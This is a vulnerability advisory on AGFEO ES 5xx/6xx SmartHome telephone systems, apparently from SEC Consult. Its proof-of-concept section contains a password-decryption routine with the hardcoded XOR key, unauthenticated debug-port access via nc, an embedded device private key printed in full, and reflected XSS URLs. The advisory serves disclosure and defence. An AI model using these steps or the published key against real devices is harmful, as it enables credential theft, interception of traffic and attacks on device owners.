Vendor Description
AGFEO GmbH & Co. KG is a vendor of telephone systems and other (tele-)communication products like DECT phones, headsets or smart home products as well.
Business Recommendation
The available patches should be installed immediately.
SEC Consult recommends not to use this product in a production environment until a thorough security review has been performed by security professionals as there are indications for further security issues.
Vulnerability Overview/ Description
1) Unauthenticated access to web services and authentication bypass
A web service with multiple scripts for debug purposes is accessible on an unusual port on the device. There is also a script to read files from the filesystem. As the web service runs with root privileges all files on the operating system can be read by an attacker. This only affects the ES 5xx product line, all other vulnerabilities affect both ES 5xx and 6xx.
The configuration of the device can be changed and arbitrary updates can be uploaded as well as music files for the answering machine. By reading the database content, the usernames and their passwords can be revealed and easily decrypted. This way the administrator password can be dumped from the database and the device can be fully administrated by an attacker.
The normal user interface has an additional development subfolder which was probably used during the development process. Updates can be triggered from this sub platform and log files, statistics and states can also be displayed.
2) Unauthenticated access to configuration ports
Multiple different instances of TCP services are present on the device. Each of the listening sockets is forked from a debug and configuration service. Internal device information can be read from the device. Among other commands, the configuration of the device can also be altered by using these services.
3) Hardcoded cryptographic keys
Three certificates including their private keys are embedded in the firmware of AGFEO ES 5xx/6xx SmartHome products. The certificates and keys in both product lines are exactly the same. One certificate is used for HTTPS (default server certificate for web based configuration and management).
Impersonation, man-in-the-middle or passive decryption attacks are possible. These attacks allow an attacker to gain access to sensitive information like admin credentials and use them in further attacks.
4) Multiple reflected cross site scripting (XSS) vulnerabilities
The ES 5xx SmartHome products are vulnerable to reflected cross site scripting.
Malicious JavaScript code can be executed in the browser of a victim by luring to a handcrafted link. This is possible even if the victim is not logged in. It is assumed that the 6xx products are affected as well but those could not be tested.
Proof Of Concept
1) Unauthenticated access to web services and authentication bypass
The debug web service is available by using the following url: http:// <Device-IP>:20011/index.html
There are different scripts accessible, the following actions can be executed:
- Change IP configuration
- Change time zone
- Upload updates (Any files can be uploaded to the device!)
- Read all files on the filesystem
- Play, delete and move voice messages on all mail boxes
- Converting mp3 files to wav files
- List all connected phones and the related numbers
The SQLite database is located under "/home/profile/poolstore.db". By reading this file the usernames and passwords can be dumped. The passwords are encoded with base64 and encrypted with XOR. To decrypt the XOR’ed password the following key has to be used:
"0x42 0xab 0xce 0xfa 0x54 0xed 0xcf 0xba"
The function to decrypt the password was found in the php script "login.php":
function decodePassword($PasswordEnc)
{
$PasswordBinaryEncBase64 = "";
$PasswordBinaryEnc="";
$PasswordBinary = array();
$Password = "";
$lastChar=0;
$Key=array(0x42, 0xab, 0xce, 0xfa, 0x54, 0xed, 0xcf, 0xba);
$PasswordBinaryEncBase64 = $PasswordEnc;
// base64 decode
$PasswordBinaryEnc = base64_decode($PasswordBinaryEncBase64);
// xor decode
for($i=0; $i<strlen($PasswordBinaryEnc); $i++) {
$PasswordBinary[$i] = ord($PasswordBinaryEnc[$i]) ^ $Key[$i % count($Key)] ^ $lastChar;
$lastChar = ord($PasswordBinaryEnc[$i]);
}
// erstes Zeichen entfernen (random char!)
foreach ($PasswordBinary as $chr) {
$Password .= chr($chr);
}
$Password = substr($Password, 1);
// printf("%s:%d Password %s\n", __FUNCTION__, __LINE__, $Password);
return $Password;
}An additional subfolder, which contains debug scripts, is available under the following location:
Updates can be triggered, logs can be shown and status messages can be gathered within this functionality. Furthermore, it is possible to debug the login process. Since there is a hardcoded user “admin” a brute force attack is also possible.
2) Unauthenticated access to configuration ports
The following TCP ports can be accessed with "nc <Device-IP> -p <Port>":
19002, 19004, 19006, 19009, 19010, 19080, 19081
By connecting to one of these ports a debug interface spawns. For example the
connection to port 19081:
$ nc 192.168.0.40 19081
Start Menue: <Return>
========< UPDS - Menue >========
s: show state
h: help
D: DEBmod on
d: DEBmod off
L: LOG on
l: LOG off
S: SERVICE-SUBMENUE
q: Quit telnet session
========= NOT AKTIV ===========
s
status ausgeben (noch nicht vollstaendig implementiert)
upds <Timestamp> bState: 00
upds <Timestamp> bLastReceiveBlockNum: 15
[...]
S
upds <Timestamp>
upds <Timestamp> ===== service-menue ======================
upds <Timestamp> help help
upds <Timestamp> q quit
upds <Timestamp> D dial
upds <Timestamp> d disconnect
upds <Timestamp> ============ NOT AKTIV ===================
service submenue
3) Hardcoded cryptographic keys
Refer to our study on hardcoded cryptographic secrets in embedded systems for further information.
IoT Inspector was used to identify this vulnerability.
OpenSSL output for the certificate:
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 10293758115057549292 (0x8edac6778bccbfec)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=DE, ST=Some-State, L=Bielefeld, O=AGFEO GmbH & Co. KG, OU=Dev, CN=info/emailAddress=info@agfeo.de
Validity
Not Before: Oct 21 14:03:55 2014 GMT
Not After : Mar 8 14:03:55 2042 GMT
Subject: C=DE, ST=Some-State, L=Bielefeld, O=AGFEO GmbH & Co. KG, OU=Dev, CN=info/emailAddress=info@agfeo.de
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:be:79:ad:17:e8:c7:9e:63:b3:bb:67:ce:bd:79:
29:66:22:ce:63:99:6a:a5:31:f4:70:5f:3f:9d:11:
94:d6:65:8c:4e:43:6b:e4:d4:f1:f4:bd:81:4c:72:
67:50:10:09:b8:60:b3:cd:be:23:ce:9a:75:ec:e4:
7a:cf:3a:e2:f0:51:f9:a5:f3:c5:67:5d:01:e9:72:
68:b1:59:f5:5b:d8:dc:3e:1d:00:df:06:a6:07:06:
12:70:c7:97:05:a5:da:80:14:2c:c7:ae:6a:ef:a1:
1a:b8:f8:6b:71:5e:91:04:da:43:ba:cf:7c:ef:bd:
01:b7:15:a1:7b:8f:52:21:06:ad:48:b4:57:0c:b2:
ac:b2:14:fe:30:38:96:5e:28:b8:68:b2:d3:ee:8d:
28:3c:ac:a0:95:c8:07:39:b7:df:95:6d:88:a2:12:
77:31:a8:55:f6:ab:c7:17:16:03:5f:ca:f2:ca:8f:
fd:37:65:2c:b0:aa:47:59:fe:d6:ec:69:8f:db:b6:
9e:93:4b:f0:87:77:90:f6:5c:e4:64:d1:96:99:d5:
d8:37:e4:7d:2f:bd:f4:04:fd:67:13:bc:68:ea:e6:
00:dd:72:74:a2:fe:1a:00:27:8b:b8:96:a6:0c:93:
82:52:6d:61:2c:62:02:b2:e8:ab:45:e4:87:98:d2:
ba:57
Exponent: 65537 (0x10001)
Signature Algorithm: sha256WithRSAEncryption
37:12:cb:94:9a:51:f8:9a:04:9f:60:19:6a:12:23:38:10:85:
b5:79:2b:49:5d:b6:65:82:76:c0:0b:20:d1:bf:04:ce:46:38:
56:ea:0b:2e:41:f5:61:d1:12:d4:ce:34:d9:e3:2a:bb:e8:9f:
f1:0e:0d:da:37:91:ee:92:dd:9a:85:91:14:a2:21:87:da:52:
33:d6:ec:74:c0:3a:46:7f:82:02:91:75:99:ad:fd:72:1b:ec:
00:64:10:e1:9c:81:3b:c9:8e:6b:73:d5:e1:df:7b:60:d4:b6:
08:51:30:25:b1:a0:ed:f0:de:2e:15:33:c2:bf:c3:fe:69:1b:
a8:26:c3:25:f0:53:8e:1f:8a:aa:44:f4:59:88:5b:7d:27:d6:
a5:a9:e8:26:a9:ba:75:f0:84:5d:e0:e7:03:75:a0:a6:64:c4:
16:ce:88:16:ca:72:f2:43:7a:08:b5:e3:48:d7:c3:a1:3a:28:
43:3c:5a:30:d4:31:dc:68:a5:5c:da:7c:20:7b:ee:e6:a2:04:
a3:3e:f1:5d:39:f4:89:d7:f0:f3:b4:e6:5e:81:cd:60:34:61:
ef:e1:d8:59:f9:d0:5a:11:af:53:03:93:4a:9e:fb:1e:a3:8b:
94:90:de:59:91:59:ff:f3:1b:5a:ef:7f:aa:33:c2:47:50:05:
0a:bc:62:3c
Certificate:
—–BEGIN CERTIFICATE—–
MIIDnDCCAoQCCQCO2sZ3i8y/7DANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMC
REUxEzARBgNVBAgMClNvbWUtU3RhdGUxEjAQBgNVBAcMCUJpZWxlZmVsZDEcMBoG
A1UECgwTQUdGRU8gR21iSCAmIENvLiBLRzEMMAoGA1UECwwDRGV2MQ0wCwYDVQQD
DARpbmZvMRwwGgYJKoZIhvcNAQkBFg1pbmZvQGFnZmVvLmRlMB4XDTE0MTAyMTE0
MDM1NVoXDTQyMDMwODE0MDM1NVowgY8xCzAJBgNVBAYTAkRFMRMwEQYDVQQIDApT
b21lLVN0YXRlMRIwEAYDVQQHDAlCaWVsZWZlbGQxHDAaBgNVBAoME0FHRkVPIEdt
YkggJiBDby4gS0cxDDAKBgNVBAsMA0RldjENMAsGA1UEAwwEaW5mbzEcMBoGCSqG
SIb3DQEJARYNaW5mb0BhZ2Zlby5kZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAL55rRfox55js7tnzr15KWYizmOZaqUx9HBfP50RlNZljE5Da+TU8fS9
gUxyZ1AQCbhgs82+I86adezkes864vBR+aXzxWddAelyaLFZ9VvY3D4dAN8GpgcG
EnDHlwWl2oAULMeuau+hGrj4a3FekQTaQ7rPfO+9AbcVoXuPUiEGrUi0VwyyrLIU
/jA4ll4ouGiy0+6NKDysoJXIBzm335VtiKISdzGoVfarxxcWA1/K8sqP/TdlLLCq
R1n+1uxpj9u2npNL8Id3kPZc5GTRlpnV2DfkfS+99AT9ZxO8aOrmAN1ydKL+GgAn
i7iWpgyTglJtYSxiArLoq0Xkh5jSulcCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEA
NxLLlJpR+JoEn2AZahIjOBCFtXkrSV22ZYJ2wAsg0b8EzkY4VuoLLkH1YdES1M40
2eMqu+if8Q4N2jeR7pLdmoWRFKIhh9pSM9bsdMA6Rn+CApF1ma39chvsAGQQ4ZyB
O8mOa3PV4d97YNS2CFEwJbGg7fDeLhUzwr/D/mkbqCbDJfBTjh+KqkT0WYhbfSfW
panoJqm6dfCEXeDnA3WgpmTEFs6IFspy8kN6CLXjSNfDoTooQzxaMNQx3GilXNp8
IHvu5qIEoz7xXTn0idfw87TmXoHNYDRh7+HYWfnQWhGvUwOTSp77HqOLlJDeWZFZ
//MbWu9/qjPCR1AFCrxiPA==
—–END CERTIFICATE—–
Private Key:
—–BEGIN PRIVATE KEY—–
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC+ea0X6MeeY7O7
Z869eSlmIs5jmWqlMfRwXz+dEZTWZYxOQ2vk1PH0vYFMcmdQEAm4YLPNviPOmnXs
5HrPOuLwUfml88VnXQHpcmixWfVb2Nw+HQDfBqYHBhJwx5cFpdqAFCzHrmrvoRq4
+GtxXpEE2kO6z3zvvQG3FaF7j1IhBq1ItFcMsqyyFP4wOJZeKLhostPujSg8rKCV
yAc5t9+VbYiiEncxqFX2q8cXFgNfyvLKj/03ZSywqkdZ/tbsaY/btp6TS/CHd5D2
XORk0ZaZ1dg35H0vvfQE/WcTvGjq5gDdcnSi/hoAJ4u4lqYMk4JSbWEsYgKy6KtF
5IeY0rpXAgMBAAECggEAI7joKJrEjUT/mT8Pu+M0S25trKpCIPcsc8K5SHjapBbp
aGgmnQT+17qOvEqca5yGZijkr8pgJsg7I5F6ItFVbGLDYkdEl20PBbwqPFC1vmL+
czu3RRyXGKwf2zzjavC++NRPzac9cPGS9GvKorlsky9oEmoFcWTOJIsO/QBVE9I8
hPc5utxQQ5WTDfUD84Y2ELJx/qhZNB8gOF+KhDQT0slE1/7Y7sHMi++kxVj+KiVb
Kif3DxpB6reMP5s1zhmfJcF9pPrr6jT35OuEjQ15y9p9wrLL1txfJbi3O6Ucwd3q
INHugNN/v+/6ia06aZtknxYoG+hFS7PbulU11VSimQKBgQDzoQRtO0MjEo3Gucqi
iaxpueYsAizJx9GkdCh7StN8ZWADpZj6x7B6vIhjXZO6Q5bM6j838lYWyNYsBHpq
FXeAM8cPIm7xUpRQDLKfhU9YA9/6iQ8/dzTYR49uj67syc9HH9dIOsRyVAy2ci6S
UySE3aTSCJCwSerpFZWoPqsbOwKBgQDIJbQQg+QnAOdTYdmIQv8zW6nLvuwLzNkP
wxFlZ/78DI8+2h1H5LGd/2C2ybKIsif/pU5u721qkqxIrIc1I3BWcX+O+QwiJ1oO
SBeA3gzcD7IOpW2GqyN8tt8cWo48moDjIcSYGB6mSd0WmX7MfsOxnEybLWQIKHD4
sTclSDuTlQKBgQDZyRGk97oPazGT+Vf8LmgS5xysMJGLG3X7td7OQFiHtjO7btgv
Lj1Dqq+da/R4KJ1wtuImiBqPKZ/TH3myxVfbIe4LSHO2hGSSnpc65LfF7UjWtJkN
2elCgc3lPspXYBxL71nKdsZPkXT/z1h0c6CMqXoCS6fT/2/gRuxOxx68KwKBgQCo
SEM465wmSzU0v34GesZWKUj/nXycg1UyUoJK8ADNbcX3Q68A5sGMpc9sgPQSyTCm
WxgyYC9wPviKdj2MqUpn9DAbRz0zbkDi5yyT1p+bW7sLY35Oj5Bb6Op4zY7wV7vs
vVStyQHkMRCqUs7xI9hoepFSm/ySe2ZZQ6+pMi2dbQKBgQCn9FdGZzWOAIXrfj7Q
SoMEUPEIEdxXYEy8Rudh9VVIJQW4tvYX6mQMr8fgx5RKRaTsL1Qv/tn9XGq00wes
3NuLEq2urJAC7z8smqkvWm2xo91j+ExeRL66CfPdm5KPyaCXcuFysz5/LUKxG/a3
+K62TQB1mEb1t9WQsxJYGcUiyg==
—–END PRIVATE KEY—–
4) Multiple reflected cross site scripting (XSS) vulnerabilities
The following crafted requests can be used to trigger the cross site scripting vulnerability at different entry points:
http:// <Device-IP>:20011/ais.php/%22%3E%3Cscript%3Ealert%28’XSS’%29%3C%2fscript%3E
http:// <Device-IP>:20011/xtopbxwav.php/%22%3E%3Cscript%3Ealert%28’XSS’%29%3C%2fscript%3E
http:// <Device-IP>:20011/update.php/%22%3E%3Cscript%3Ealert%28’XSS’%29%3C%2fscript%3E
http:// <Device-IP>/pbxapi/licence.php/%3Cimg%20src=x%20onerror=alert%28’XSS’%29%3E
http:// <Device-IP>/pbxapi/eoimport.php/%3Cimg%20src=x%20onerror=alert%28’XSS’%29%3E
http:// <Device-IP>/pbxapi/knximport.php/%3Cimg%20src=x%20onerror=alert%28’XSS’%29%3E
http:// <Device-IP>/pbxapi/hmimport.php/%3Cimg%20src=x%20onerror=alert%28’XSS’%29%3E
Vulnerable / Tested Versions
One firmware is available for the whole ES 5 product line, and another one for the product line ES 6. Therefore, all vulnerabilities which have been found in one product of ES 5/6 are also available in all other products of ES 5/6.
The following product / firmware version has been tested by SEC Consult:
ES 512 Version 1.9b (es5xxv19b_c063be6)
ES 512 Version 1.10 (es5xxv110_f105485)
Based on results of the SEC Technologies IoT Inspector (automated firmware analysis tool) we believe that the product line ES 6 is also prone to the identified vulnerabilities (except the web service on port 20011) as well as product line ES 5.
Firmware Version 1.9b (ES6xxv19b_c063be67b9c2ba)
Firmware Version 1.10 (ES6xxv110_f105485715a360)